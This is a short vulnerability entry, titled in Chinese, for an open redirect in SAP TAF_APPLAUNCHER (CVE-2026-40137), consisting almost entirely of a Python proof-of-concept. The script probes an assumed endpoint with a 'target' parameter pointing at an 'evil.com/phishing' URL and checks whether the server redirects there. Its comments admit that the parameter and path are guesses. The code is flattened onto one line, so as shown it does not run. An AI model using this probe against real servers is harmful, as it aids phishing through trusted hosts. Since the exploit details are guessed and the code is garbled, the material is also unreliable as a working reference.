CVE-2026-40137: SAP TAF_APPLAUNCHer 开放重定向漏洞

# Proof of Concept for CVE-2026-40137 # This script demonstrates the open redirect vulnerability. # Note: The actual parameter name may vary depending on the specific SAP configuration. import requests def check_open_redirect(target_host, malicious_url): # Common parameters for redirects in SAP applications might include 'target', 'url', 'redirect_url', etc. # This example assumes a parameter named 'target'. payload = { 'target': malicious_url } # Construct the full vulnerable endpoint URL # Based on the CVE, the component is TAF_APPLAUNCHER vuln_endpoint = f"{target_host}/sap/bc/bsp/sap/taf_applauncher/" try: print(f"[*] Testing endpoint: {vuln_endpoint}") response = requests.get(vuln_endpoint, params=payload, allow_redirects=False, timeout=10) # Check for HTTP 302 Found or 301 Moved Permanently status codes if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location') if location and malicious_url in location: print(f"[+] Vulnerability Confirmed!") print(f"[+] Server redirected to: {location}") return True print(f"[-] Not vulnerable or parameter incorrect. Status: {response.status_code}") return False except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": target = "http://vulnerable-sap-server.example.com" evil_site = "http://evil.com/phishing" check_open_redirect(target, evil_site)